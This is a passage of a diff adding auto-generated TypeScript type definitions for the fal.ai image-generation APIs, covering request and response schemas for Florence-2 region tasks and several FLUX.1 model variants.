content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiFlorence2LargeRegionProposal = { + /** + * @description Results from the model + * @type object + */ + results: BoundingBoxesCc1A6392 + /** + * @description Processed image + * @type object | undefined + */ + image?: Image4E8F2Fa2 +} + +export type Region = { + /** + * @description Y-coordinate of the top-left corner + * @minimum 0 + * @maximum 999 + * @type integer + */ + y1: number + /** + * @description X-coordinate of the bottom-right corner + * @minimum 0 + * @maximum 999 + * @type integer + */ + x2: number + /** + * @description Y-coordinate of the bottom-right corner + * @minimum 0 + * @maximum 999 + * @type integer + */ + y2: number + /** + * @description X-coordinate of the top-left corner + * @minimum 0 + * @maximum 999 + * @type integer + */ + x1: number +} + +export type InputFalAiFlorence2LargeRegionToSegmentation = { + /** + * @description The URL of the image to be processed. + * @example https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/transformers/tasks/car.jpg + * @example http://ecx.images-amazon.com/images/I/51UUzBDAMsL.jpg + * @type string + */ + image_url: string + /** + * @description The user input coordinates + * @example {"y1":100,"x2":200,"y2":200,"x1":100} + * @type object + */ + region: Region +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image2A2379C9 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiFlorence2LargeRegionToSegmentation = { + /** + * @description Results from the model + * @type object + */ + results: PolygonOutput + /** + * @description Processed image + * @type object | undefined + */ + image?: Image2A2379C9 +} + +export type ImageSizeBeea61F3 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux1DevAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux1DevAccelerationEnumKey = + (typeof inputFalAiFlux1DevAccelerationEnum)[keyof typeof inputFalAiFlux1DevAccelerationEnum] + +export const inputFalAiFlux1DevImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux1DevImageSizeKey = + (typeof inputFalAiFlux1DevImageSize)[keyof typeof inputFalAiFlux1DevImageSize] + +export const inputFalAiFlux1DevOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux1DevOutputFormatEnumKey = + (typeof inputFalAiFlux1DevOutputFormatEnum)[keyof typeof inputFalAiFlux1DevOutputFormatEnum] + +export type InputFalAiFlux1Dev = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFlux1DevAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSizeBeea61F3 | InputFalAiFlux1DevImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux1DevOutputFormatEnumKey +} + +export type Image149A83A9 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFlux1Dev = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @type array + */ + images: Image149A83A9[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export const inputFalAiFlux1DevImageToImageAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux1DevImageToImageAccelerationEnumKey = + (typeof inputFalAiFlux1DevImageToImageAccelerationEnum)[keyof typeof inputFalAiFlux1DevImageToImageAccelerationEnum] + +export const inputFalAiFlux1DevImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux1DevImageToImageOutputFormatEnumKey = + (typeof inputFalAiFlux1DevImageToImageOutputFormatEnum)[keyof typeof inputFalAiFlux1DevImageToImageOutputFormatEnum] + +export type InputFalAiFlux1DevImageToImage = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFlux1DevImageToImageAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example A cat dressed as a wizard with a background of a mystic forest. + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The URL of the image to generate an image from. + * @example https://fal.media/files/koala/Chls9L2ZnvuipUTEwlnJC.png + * @type string + */ + image_url: string + /** + * @description The strength of the initial image. Higher strength values are better for this model. + * @minimum 0.01 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + strength?: number + /** + * @description The number of inference steps to perform. + * @minimum 10 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux1DevImageToImageOutputFormatEnumKey +} + +export type Image8Cd02B61 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFlux1DevImageToImage = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @type array + */ + images: Image8Cd02B61[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeB14F258E = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux1DevReduxAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux1DevReduxAccelerationEnumKey = + (typeof inputFalAiFlux1DevReduxAccelerationEnum)[keyof typeof inputFalAiFlux1DevReduxAccelerationEnum] + +export const inputFalAiFlux1DevReduxImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux1DevReduxImageSizeKey = + (typeof inputFalAiFlux1DevReduxImageSize)[keyof typeof inputFalAiFlux1DevReduxImageSize] + +export const inputFalAiFlux1DevReduxOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux1DevReduxOutputFormatEnumKey = + (typeof inputFalAiFlux1DevReduxOutputFormatEnum)[keyof typeof inputFalAiFlux1DevReduxOutputFormatEnum] + +export type InputFalAiFlux1DevRedux = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFlux1DevReduxAccelerationEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the image to generate an image from. + * @example https://fal.media/files/kangaroo/acQvq-Kmo2lajkgvcEHdv.png + * @type string + */ + image_url: string + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSizeB14F258E | InputFalAiFlux1DevReduxImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux1DevReduxOutputFormatEnumKey +} + +export type Image929Fea44 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFlux1DevRedux = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @type array + */ + images: Image929Fea44[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize599D30A5 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux1KreaAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux1KreaAccelerationEnumKey = + (typeof inputFalAiFlux1KreaAccelerationEnum)[keyof typeof inputFalAiFlux1KreaAccelerationEnum] + +export const inputFalAiFlux1KreaImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux1KreaImageSizeKey = + (typeof inputFalAiFlux1KreaImageSize)[keyof typeof inputFalAiFlux1KreaImageSize] + +export const inputFalAiFlux1KreaOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux1KreaOutputFormatEnumKey = + (typeof inputFalAiFlux1KreaOutputFormatEnum)[keyof typeof inputFalAiFlux1KreaOutputFormatEnum] + +export type InputFalAiFlux1Krea = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFlux1KreaAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example A candid street photo of a woman with a pink bob and bold eyeliner on a graffiti-covered subway platform. She wears a bright yellow patent leather coat over a black-and-white checkered turtleneck and platform boots. Natural subway lighting creates an authentic urban scene with a relaxed, unposed feel. + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize599D30A5 | InputFalAiFlux1KreaImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux1KreaOutputFormatEnumKey +} + +export type ImageCf8F5Ee3 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFlux1Krea = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated images. + * @example [{"height":768,"content_type":"image/jpeg","url":"https://storage.googleapis.com/falserverless/example_outputs/flux_krea_t2i_output_1.jpg","width":1024}] + * @type array + */ + images: ImageCf8F5Ee3[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export const inputFalAiFlux1KreaImageToImageAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux1KreaImageToImageAccelerationEnumKey = + (typeof inputFalAiFlux1KreaImageToImageAccelerationEnum)[keyof typeof inputFalAiFlux1KreaImageToImageAccelerationEnum] + +export const inputFalAiFlux1KreaImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux1KreaImageToImageOutputFormatEnumKey = + (typeof inputFalAiFlux1KreaImageToImageOutputFormatEnum)[keyof typeof inputFalAiFlux1KreaImageToImageOutputFormatEnum] + +export type InputFalAiFlux1KreaImageToImage = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFlux1KreaImageToImageAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example A cat dressed as a wizard with a background of a mystic forest. + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The URL of the image to generate an image from. + * @example https://fal.media/files/koala/Chls9L2ZnvuipUTEwlnJC.png + * @type string + */ + image_url: string + /** + * @description The strength of the initial image. Higher strength values are better for this model. + * @minimum 0.01 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + strength?: number + /** + * @description The number of inference steps to perform. + * @minimum 10 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux1KreaImageToImageOutputFormatEnumKey +} + +export type Image3E6A0487 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFlux1KreaImageToImage = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @type array + */ + images: Image3E6A0487[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize8D48F1C0 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux1KreaReduxAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux1KreaReduxAccelerationEnumKey = + (typeof inputFalAiFlux1KreaReduxAccelerationEnum)[keyof typeof inputFalAiFlux1KreaReduxAccelerationEnum] + +export const inputFalAiFlux1KreaReduxImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux1KreaReduxImageSizeKey = + (typeof inputFalAiFlux1KreaReduxImageSize)[keyof typeof inputFalAiFlux1KreaReduxImageSize] + +export const inputFalAiFlux1KreaReduxOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux1KreaReduxOutputFormatEnumKey = + (typeof inputFalAiFlux1KreaReduxOutputFormatEnum)[keyof typeof inputFalAiFlux1KreaReduxOutputFormatEnum] + +export type InputFalAiFlux1KreaRedux = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFlux1KreaReduxAccelerationEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the image to generate an image from. + * @example https://storage.googleapis.com/falserverless/example_inputs/flux_krea_redux_output_1.jpg + * @type string + */ + image_url: string + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize8D48F1C0 | InputFalAiFlux1KreaReduxImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux1KreaReduxOutputFormatEnumKey +} + +export type Image8Ae2753E = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFlux1KreaRedux = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated images. + * @example [{"height":768,"content_type":"image/jpeg","url":"https://storage.googleapis.com/falserverless/example_outputs/flux_krea_redux_output_1.jpg","width":1024}] + * @type array + */ + images: Image8Ae2753E[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize68E7Cd57 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux1SchnellAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux1SchnellAccelerationEnumKey = + (typeof inputFalAiFlux1SchnellAccelerationEnum)[keyof typeof inputFalAiFlux1SchnellAccelerationEnum] + +export const inputFalAiFlux1SchnellImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux1SchnellImageSizeKey = + (typeof inputFalAiFlux1SchnellImageSize)[keyof typeof inputFalAiFlux1SchnellImageSize] + +export const inputFalAiFlux1SchnellOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux1SchnellOutputFormatEnumKey = + (typeof inputFalAiFlux1SchnellOutputFormatEnum)[keyof typeof inputFalAiFlux1SchnellOutputFormatEnum] + +export type InputFalAiFlux1Schnell = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFlux1SchnellAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize68E7Cd57 | InputFalAiFlux1SchnellImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 12 + * @default 4 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux1SchnellOutputFormatEnumKey +} + +export type Image15Ea655D = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFlux1Schnell = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @type array + */ + images: Image15Ea655D[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize768F4C62 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux1SchnellReduxAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux1SchnellReduxAccelerationEnumKey = + (typeof inputFalAiFlux1SchnellReduxAccelerationEnum)[keyof typeof inputFalAiFlux1SchnellReduxAccelerationEnum] + +export const inputFalAiFlux1SchnellReduxImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux1SchnellReduxImageSizeKey = + (typeof inputFalAiFlux1SchnellReduxImageSize)[keyof typeof inputFalAiFlux1SchnellReduxImageSize] + +export const inputFalAiFlux1SchnellReduxOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux1SchnellReduxOutputFormatEnumKey = + (typeof inputFalAiFlux1SchnellReduxOutputFormatEnum)[keyof typeof inputFalAiFlux1SchnellReduxOutputFormatEnum] + +export type InputFalAiFlux1SchnellRedux = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFlux1SchnellReduxAccelerationEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the image to generate an image from. + * @example https://fal.media/files/kangaroo/acQvq-Kmo2lajkgvcEHdv.png + * @type string + */ + image_url: string + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize768F4C62 | InputFalAiFlux1SchnellReduxImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 12 + * @default 4 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux1SchnellReduxOutputFormatEnumKey +} + +export type Image130934D8 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFlux1SchnellRedux = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @type array + */ + images: Image130934D8[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeCa3D346A = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux1SrpoAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux1SrpoAccelerationEnumKey = + (typeof inputFalAiFlux1SrpoAccelerationEnum)[keyof typeof inputFalAiFlux1SrpoAccelerationEnum] + +export const inputFalAiFlux1SrpoImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux1SrpoImageSizeKey = + (typeof inputFalAiFlux1SrpoImageSize)[keyof typeof inputFalAiFlux1SrpoImageSize] + +export const inputFalAiFlux1SrpoOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux1SrpoOutputFormatEnumKey = + (typeof inputFalAiFlux1SrpoOutputFormatEnum)[keyof typeof inputFalAiFlux1SrpoOutputFormatEnum] + +export type InputFalAiFlux1Srpo = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFlux1SrpoAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example Mountain guide, sturdy build, wilderness wisdom, alert gaze, technical outdoor gear with rope coils, snow-capped peaks background, crisp mountain lighting, leading pose, wind-swept hair with full beard, weather-worn face with quiet confidence, alpine expert presence + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type 